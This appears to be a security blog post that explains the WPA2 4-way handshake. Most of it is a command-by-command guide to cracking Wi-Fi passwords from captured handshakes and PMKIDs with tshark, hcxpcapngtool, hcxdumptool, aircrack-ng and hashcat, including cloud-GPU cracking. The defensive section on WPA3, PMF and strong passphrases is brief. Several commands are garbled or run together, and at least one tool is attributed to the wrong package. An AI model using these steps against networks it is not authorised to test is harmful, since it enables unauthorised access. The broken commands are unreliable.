Listen to this Post
Introduction:
Wi-Fi passwords aren’t transmitted over the air—instead, WPA2 uses a 4‑way handshake where your device and the access point prove they know the password by deriving matching cryptographic keys. Wireshark captures every packet of that handshake but never sees the plaintext password. However, with the right tools, you can perform an offline dictionary attack against the handshake file and recover the password, as long as the network owner chose a weak or common passphrase.
Learning Objectives:
- Understand why Wireshark cannot display the raw Wi‑Fi password and how the WPA2 4‑way handshake protects it.
- Extract a valid handshake and SSID from a PCAP file using Wireshark filters and command‑line tools.
- Convert the handshake to Hashcat format and crack it with a dictionary attack on Linux or Windows.
You Should Know:
- Understanding the WPA2 4‑Way Handshake – Why the Password Stays Hidden
The WPA2 handshake never sends the actual password. Instead, the client and access point each combine the password with the SSID, a nonce, and a MAC address through the PBKDF2 key derivation function. The result is the Pairwise Master Key (PMK). The handshake proves both sides possess the same PMK without ever revealing it. Wireshark sees the EAPOL messages (Message 1‑4) but the password itself remains secret.
Step‑by‑step guide to verify a handshake in Wireshark:
1. Open your PCAP file in Wireshark.
2. Apply the display filter: `eapol`
- Look for four consecutive EAPOL packets (the 4‑way handshake). If you see only two or three, the capture is incomplete.
- To confirm the handshake is usable, filter for `wlan.fc.type_subtype == 0x08` to locate beacon frames and note the SSID.
- Save the relevant packets only (optional): `Edit → Mark Packet` (Ctrl+M) on the four handshake packets, then `File → Export Specified Packets` and choose “Marked packets”.
Linux command to extract handshake using tshark:
tshark -r capture.pcap -Y "eapol" -w handshake_only.pcap
Windows (Wireshark CLI):
"C:\Program Files\Wireshark\tshark.exe" -r capture.pcap -Y "eapol" -w handshake_only.pcap
- Extracting the SSID and Handshake with Command‑Line Tools
Before cracking, you need the SSID (network name) and the handshake in a compatible format. Aircrack‑ng can read PCAP directly, but newer tools like `hcxpcapngtool` (part of hcxtools) produce better results for Hashcat.
Step‑by‑step guide:
- Find the SSID from beacon frames using tshark:
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 0x08" -T fields -e wlan.ssid | sort -u
- Convert the PCAP to Hashcat format (hash mode 22000 for WPA/WPA2):
hcxpcapngtool -o hash.hc22000 capture.pcap
– If the handshake is valid, you’ll see output like “writing WPA/WPA2 hash line to hash.hc22000”.
3. Verify the hash file contains a line starting with WPA:
cat hash.hc22000
4. Alternative using aircrack‑ng (older method, less reliable):
aircrack-ng capture.pcap -J output_hash
This creates a `.hccapx` file for Hashcat mode 2500.
Windows (with WSL or native hcxtools): Install hcxtools via WSL or use compiled Windows binaries. Example in WSL:
sudo apt install hcxtools hcxpcapngtool.exe capture.pcap -o hash.hc22000
- Cracking the Handshake with Hashcat (Linux & Windows)
Hashcat is the fastest password recovery tool. Mode 22000 is for WPA/WPA2 handshakes (the modern standard). You’ll need a wordlist like rockyou.txt.
Step‑by‑step guide:
- Install Hashcat on Linux: `sudo apt install hashcat`
On Windows: download the binary from hashcat.net and extract. -
Prepare a dictionary – the classic rockyou list:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
3. Run Hashcat against the hash file:
hashcat -m 22000 hash.hc22000 -a 0 rockyou.txt --force
– `-m 22000` = WPA/WPA2 handshake
– `-a 0` = straight dictionary attack
– `–force` = bypass any GPU driver warnings (use carefully)
- If the password is found, Hashcat will show “Cracked” and save the result. Display it:
hashcat -m 22000 hash.hc22000 --show
-
For a more targeted attack (e.g., using rules):
hashcat -m 22000 hash.hc22000 -a 0 rockyou.txt -r best64.rule
Windows Hashcat (native):
hashcat.exe -m 22000 hash.hc22000 -a 0 rockyou.txt -O
Add `-O` to optimize for slower GPUs.
- Why Aircrack‑ng Fails (and How to Fix Common Issues)
Many users try `aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture.pcap` and get “No valid handshake found”. This usually happens because:
- The PCAP contains multiple handshakes or corrupted packets.
- The handshake is incomplete (less than 4 EAPOL messages).
- The capture includes only the MIC (Message Integrity Code) but not the full exchange.
- Aircrack‑ng expects the handshake to be in a specific packet order.
Step‑by‑step troubleshooting:
1. Validate handshake completeness using `cap2hccapx` from hcxtools:
cap2hccapx capture.pcap test.hccapx
If it returns “handshake found”, the issue is with aircrack‑ng’s parser.
- Extract a fresh handshake from the PCAP using `hcxpcapngtool` as shown above.
-
Convert to aircrack‑ng’s preferred format (if you must use aircrack):
hcxpcapngtool -o hash.hc22000 capture.pcap hcxpcapngtool --prefix=aircrack capture.pcap
Then feed the resulting `.cap` file to aircrack‑ng.
-
Use a more tolerant tool – Hashcat with mode 22000 is far more robust and will crack handshakes that aircrack‑ng rejects.
-
Mitigating Wi‑Fi Password Cracking – Hardening Your Network
If you’re a network defender, understanding these attacks helps you prevent them. No handshake can be cracked if the password is strong and the network uses modern security.
Step‑by‑step hardening guide:
- Use WPA3 whenever possible – it replaces the 4‑way handshake with Simultaneous Authentication of Equals (SAE), which resists offline dictionary attacks.
-
Enforce a strong password policy – at least 12 characters, mixed case, numbers, symbols. A 10‑character random password would take centuries to crack with today’s GPUs.
-
Disable WPS – many routers leak the PIN, allowing handshake capture even without a client.
-
Enable PMF (Protected Management Frames) – this prevents deauthentication attacks used to force handshake captures.
-
Monitor for rogue APs – attackers may set up evil twins to capture handshakes. Use tools like `wazuh` or `snort` with custom rules for EAPOL floods.
Linux command to check your own network’s security:
Scan for WPA2/WPA3 networks and check for PMF support sudo iw dev wlan0 scan | grep -E "SSID|RSN|Authentication"
Windows (netsh) to view Wi‑Fi security settings:
netsh wlan show profiles netsh wlan show profile name="YourSSID" key=clear
6. Advanced: PMKID Attack – No Client Required
The PMKID attack (Hashcat mode 22000 also covers it) allows cracking without a full 4‑way handshake. The access point sends the PMKID in the first EAPOL frame. Tools like `hcxdumptool` capture it directly.
Step‑by‑step PMKID capture and cracking:
- Capture PMKID using `hcxdumptool` on Linux (requires monitor mode):
sudo airmon-ng start wlan0 sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
Let it run until you see “PMKID found”.
2. Convert to hash:
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
- Crack with Hashcat (same mode 22000) – works exactly like handshake cracking.
-
Defend against PMKID – upgrade to WPA3 or disable 802.11r (Fast BSS Transition) on WPA2 networks if not needed.
7. Cloud‑Based Cracking – Speeding Up with GPUs
If you need to crack a handshake for legitimate forensic purposes (e.g., recovering a lost password from your own router), local GPU power may be insufficient. Cloud GPU instances can run Hashcat at massive speed.
Step‑by‑step cloud cracking on AWS (p3 instance with NVIDIA V100):
- Launch an EC2 instance with a GPU (e.g.,
p3.2xlarge) and a deep learning AMI.
2. Install Hashcat:
sudo apt update && sudo apt install hashcat
- Upload your hash file and wordlist via S3 or SCP.
4. Run Hashcat with full GPU utilization:
hashcat -m 22000 hash.hc22000 -a 0 rockyou.txt -w 4 -O
- Terminate the instance after cracking to avoid high costs.
Windows alternative: Use Google Colab with GPU (free tier) – you can run Hashcat in a Colab notebook by installing the binary via apt.
What Undercode Say:
- Key Takeaway 1: Wireshark never sees the plaintext password because the WPA2 handshake relies on cryptographic proofs, not password transmission. Cracking is possible only through offline dictionary attacks against the captured handshake.
- Key Takeaway 2: Tools like `hcxpcapngtool` + Hashcat (mode 22000) are far more reliable than legacy aircrack‑ng. If one tool fails, switch to the modern pipeline instead of wasting hours troubleshooting.
Analysis: The post highlights a real‑world frustration—aircrack‑ng sometimes rejects a perfectly valid handshake due to its strict parser. The switch to `hcxpcapngtool` and Hashcat represents the industry best practice. For defenders, this underscores the importance of moving to WPA3 and enforcing 15+ character random passphrases. Even a moderately complex password (e.g., BlueDolphin$42!) renders dictionary attacks useless. Remember that capturing a handshake often requires a deauthentication attack—enabling 802.11w (PMF) blocks that vector entirely.
Prediction:
As WPA2 continues to phase out, handshake cracking will become less relevant. By 2028, most enterprise and consumer devices will support WPA3, whose SAE handshake resists offline dictionary attacks by design. However, legacy IoT devices will keep WPA2 alive for another decade, and attackers will increasingly target PMKID and other side channels. Cloud‑based cracking services (e.g., GPUs as a service) will lower the cost of breaking weak passwords, forcing network administrators to adopt password managers and random passphrases. The future of Wi‑Fi security lies in passwordless authentication (e.g., device certificates or biometrics) combined with WPA3‑Enterprise. Until then, treat every captured handshake as a potential breach—monitor your network for EAPOL floods and deauthentication frames.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Iram Jack – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
